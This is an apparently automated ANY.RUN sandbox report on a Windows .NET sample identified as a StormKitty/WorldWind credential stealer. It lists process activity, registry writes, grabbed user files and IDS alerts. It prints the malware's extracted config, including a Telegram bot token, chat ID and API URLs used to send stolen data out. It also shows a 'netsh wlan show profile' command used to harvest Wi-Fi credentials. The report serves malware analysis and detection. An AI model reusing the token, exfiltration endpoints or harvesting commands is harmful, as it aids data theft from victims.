File name: | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480 |
Full analysis: | https://app.any.run/tasks/a124e2f7-9037-4b47-a8d3-4e00254ca431 |
Verdict: | Malicious activity |
Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
Analysis date: | January 10, 2025, 22:10:45 |
OS: | Windows 10 Professional (build: 19045, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.microsoft.portable-executable |
File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
MD5: | D2B8506820FE3C39B6B5E891170F3451 |
SHA1: | 30F6FA21F06D99B0254FA1FF387C45921317EDA7 |
SHA256: | E1E6A513ABF55583458CD88EC8B7AF9CE2A60D169526B0E6A31183A7688B8480 |
SSDEEP: | 24576:chiykchiQy+L/TQa6iEaLaAmZ6QhykJSQxaR+Kyyh+wmag3FjdoaJKu2LzWFryux:chiykchiQy+L/TQa6iEaLaAmZ6QhykJ1 |
.exe | | | Generic CIL Executable (.NET, Mono, etc.) (82.9) |
---|---|---|
.dll | | | Win32 Dynamic Link Library (generic) (7.4) |
.exe | | | Win32 Executable (generic) (5.1) |
.exe | | | Generic Win/DOS Executable (2.2) |
.exe | | | DOS Executable Generic (2.2) |
AssemblyVersion: | 1.0.0.0 |
---|---|
ProductVersion: | 2.8 |
OriginalFileName: | Cjnw.exe |
LegalCopyright: | |
InternalName: | Cjnw.exe |
FileVersion: | 2.8 |
FileDescription: | SocketMulticast |
CompanyName: | SocketMulticast |
Comments: | SocketMulticast |
CharacterSet: | Unicode |
LanguageCode: | Neutral |
FileSubtype: | - |
ObjectFileType: | Executable application |
FileOS: | Win32 |
FileFlags: | (none) |
FileFlagsMask: | 0x003f |
ProductVersionNumber: | 2.8.0.0 |
FileVersionNumber: | 2.8.0.0 |
Subsystem: | Windows GUI |
SubsystemVersion: | 4 |
ImageVersion: | - |
OSVersion: | 4 |
EntryPoint: | 0xb7b2a |
UninitializedDataSize: | - |
InitializedDataSize: | 33792 |
CodeSize: | 744448 |
LinkerVersion: | 48 |
PEType: | PE32 |
ImageFileCharacteristics: | Executable, 32-bit |
TimeStamp: | 2024:12:12 07:58:33+00:00 |
MachineType: | Intel 386 or later, and compatibles |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6484 | "C:\Users\admin\AppData\Local\Temp\e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe" | C:\Users\admin\AppData\Local\Temp\e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | — | explorer.exe | |||||||||||
User: admin Company: SocketMulticast Integrity Level: MEDIUM Description: SocketMulticast Exit code: 0 Version: 2.8 Modules
| |||||||||||||||
7132 | "C:\Users\admin\AppData\Local\Temp\e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe" | C:\Users\admin\AppData\Local\Temp\e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | — | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | |||||||||||
User: admin Company: SocketMulticast Integrity Level: MEDIUM Description: SocketMulticast Exit code: 4294967295 Version: 2.8 Modules
| |||||||||||||||
7140 | "C:\Users\admin\AppData\Local\Temp\e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe" | C:\Users\admin\AppData\Local\Temp\e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | ||||||||||||
User: admin Company: SocketMulticast Integrity Level: MEDIUM Description: SocketMulticast Version: 2.8 Modules
StormKitty(PID) Process(7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe C2 (1)127.0.0.1 Ports (3)6606 7707 8808 Credentials Protocoltelegram URLnull Token6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 ChatId5287158069 Version BotnetDefault Options AutoRunfalse MutexAsyncMutex_6SI8OkPnk InstallFolder%AppData% BSoDfalse AntiVMfalse Certificates Cert1MIIE9jCCAt6gAwIBAgIQAKQXqY8ZdB/modqi69mWGTANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFXb3JsZFdpbmQgU3RlYWxlcjAgFw0yMTA3MTMwNDUxMDZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRV29ybGRXaW5kIFN0ZWFsZXIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnRXYoxuLqqgXdcvIAYWb9DuVRl5ZpdpPfoIgmb7Y9A9AuiddKNm4is8EvIlEh98bQD4OB... Server_SignatureJ7XpD4w+JaFzTixc0nCmiRA4ZP4bPCIpEYYGofNxvC1+0OsFQr56oTWwQMosnOTB64TZRGSdXVHKzjVchQf7X5Uwu/KQU61NPArjxWVScwKZXOGS4ZNzsWbrxgztkmlyRlQgvEq4rdFsqy1bfvHEoQ/s9aDXBNoLPPjJOexTRQSGuZYMpGSUD+ZUiVwPqqFWTb8KcjEMyABMeXGKfia2e9u8ePKpWv4HSiOfl6N47tTtIfN2FW/2mCX7BOnIZwCl3UxaQnITN812tHD1enX9TK86R91F02c0wabnf4oC07S3... Keys AESe5e3972eba013063607e705973dfdf80a8555bcfd8fe09651da2ab43b5773d9b Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 xor-url(PID) Process(7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe Decrypted-URLs (1)https://github.com/LimerBoy/StormKitty ims-api(PID) Process(7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe Telegram-Tokens (1)6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 Telegram-Info-Links 6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 Get info about bothttps://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/getMe Get incoming updateshttps://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/getUpdates Get webhookhttps://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/getWebhookInfo Delete webhookhttps://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/deleteWebhook Drop incoming updateshttps://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/deleteWebhook?drop_pending_updates=true Telegram-Requests Token6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 End-PointsendMessage Args chat_id (1)5287158069 text (1)📁 Uploading Log Folders... Token6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 End-PointsendMessage Args chat_id (1)5287158069 text (1)🌪 *WorldWind Pro - Results:*
Date: 2025-01-10 10:11:15 PM
System: Windows 10 Pro (64 Bit)
Username: admin
CompName: DESKTOP-JGLLJLD
Language: 🇺🇸 en-US
Antivirus: Windows Defender.
💻 *Hardware:*
CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
GPU: Microsoft Basic Display Adapter
RAM: 40 Token6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 End-PointsendMessage Args chat_id (1)5287158069 text (1)📁 Uploading Log Folders... HTTP/1.1
Host: api.telegram.org Token6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 End-PointsendMessage Args chat_id (1)5287158069 text (1)🌪 *WorldWind Pro - Results:*
Date: 2025-01-10 10:11:15 PM
System: Windows 10 Pro (64 Bit)
Username: admin
CompName: Token6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 End-PointsendMessage Args chat_id (1)5287158069 Token6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 End-PointsendMessage Args Token6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8 End-PointsendMessage Args chat_id (1)5287158069 text (1) | |||||||||||||||
6132 | "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All | C:\Windows\SysWOW64\cmd.exe | — | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
5240 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
4076 | chcp 65001 | C:\Windows\SysWOW64\chcp.com | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Change CodePage Utility Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
6076 | netsh wlan show profile | C:\Windows\SysWOW64\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
5628 | findstr All | C:\Windows\SysWOW64\findstr.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (QGREP) Utility Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
1540 | "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid | C:\Windows\SysWOW64\cmd.exe | — | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
4624 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
|
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32 |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32 |
Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32 |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32 |
Operation: | write | Name: | FileTracingMask |
Value: | |||
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32 |
Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32 |
Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32 |
Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASMANCS |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASMANCS |
Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
(PID) Process: | (7140) e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASMANCS |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Pictures\selectprogress.png | image | |
MD5:12C28527E9B10AE111ABEFA6A382DD52 | SHA256:2A0729C61CC1D03E26233497670B37BA9B9C69D607C86F05548FF56F8F40F61F | |||
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Desktop\linuxcolumbia.rtf | text | |
MD5:AEC3C5A69D98E38786ACBB540CE9F854 | SHA256:7ECF95DB7BD56A1DC6856DA4B813875D9CC601EEE91733D40A46C195A42A9C73 | |||
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Pictures\surekey.png | image | |
MD5:9AA79667872395DA3F4C76331C911FFA | SHA256:DABC33F49D651BAB3250F55C13D290E6774154F243A2CEB0A446C096324D7301 | |||
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Documents\nowwrote.rtf | text | |
MD5:1CD357D61C90A8D95ABBA15640593675 | SHA256:2AEF0C4658A0F913F6C6EED4D870047770AB5435562A2B0A34E16F8D8DB14BBC | |||
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Pictures\desktop.ini | text | |
MD5:29EAE335B77F438E05594D86A6CA22FF | SHA256:88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4 | |||
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Desktop\motionlisting.rtf | text | |
MD5:D20BBE62241AFE83E94B48922AC84ACA | SHA256:D896D2ED579675FE2DE69442D93B5750098924D76E8400D8E28C0063BCF15897 | |||
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Pictures\Saved Pictures\desktop.ini | text | |
MD5:87A524A2F34307C674DBA10708585A5E | SHA256:D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9 | |||
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Documents\youthanal.rtf | text | |
MD5:5F92DF8B86EE3CF10B38E9089C532EE3 | SHA256:9721531A80A61CBB2713B8E9BD91588E29AD20428A8B52807E5E14F904A97ACE | |||
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Desktop\cardchange.rtf | text | |
MD5:38567D7196B5F1F6F072959FDF23975E | SHA256:CAC7D22C850C88135FB19678C72008DADB75DB4E7C77C2F7301812427ED7B34E | |||
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | C:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Documents\individualmm.rtf | text | |
MD5:89FE9FA138A23FD8C70144E10B6253C9 | SHA256:E1BA57BF58BB5830979963ABE3C47DE7B2ADE0B8967A0989C628B2E35BC50ACA |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
7140 | e1e6a513abf55583458cd88ec8b7af9ce2a60d169526b0e6a31183a7688b8480.exe | GET | 200 | 104.16.184.241:80 | http://icanhazip.com/ | unknown | — | — | shared |
3208 | SIHClient.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6376 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
3208 | SIHClient.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.48.23.167:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | unknown |
4712 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
1752 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
5064 | SearchApp.exe | 2.16.110.121:443 | www.bing.com | Akamai International B.V. | DE | unknown |
— | — | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | unknown |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
— | — | 23.48.23.167:80 | crl.microsoft.com | Akamai International B.V. | DE | unknown |
— | — | 23.52.120.96:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
1076 | svchost.exe | 23.213.166.81:443 | go.microsoft.com | AKAMAI-AS | DE | unknown |
Domain | IP | Reputation |
---|---|---|
settings-win.data.microsoft.com |
| unknown |
www.bing.com |
| unknown |
google.com |
| unknown |
ocsp.digicert.com |
| unknown |
crl.microsoft.com |
| unknown |
www.microsoft.com |
| unknown |
go.microsoft.com |
| unknown |
login.live.com |
| unknown |
slscr.update.microsoft.com |
| unknown |
fe3cr.delivery.mp.microsoft.com |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
— | — | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (icanhazip .com) |
— | — | Attempted Information Leak | ET POLICY IP Check Domain (icanhazip. com in HTTP Host) |
— | — | Misc activity | ET HUNTING Telegram API Domain in DNS Lookup |
— | — | Potential Corporate Privacy Violation | ET POLICY Observed Wifi Geolocation Domain (api .mylnikov .org in TLS SNI) |
— | — | Misc activity | ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) |
— | — | Misc activity | ET HUNTING Telegram API Certificate Observed |
— | — | Device Retrieving External IP Address Detected | SUSPICIOUS [ANY.RUN] An IP address was received from the server as a result of an HTTP request |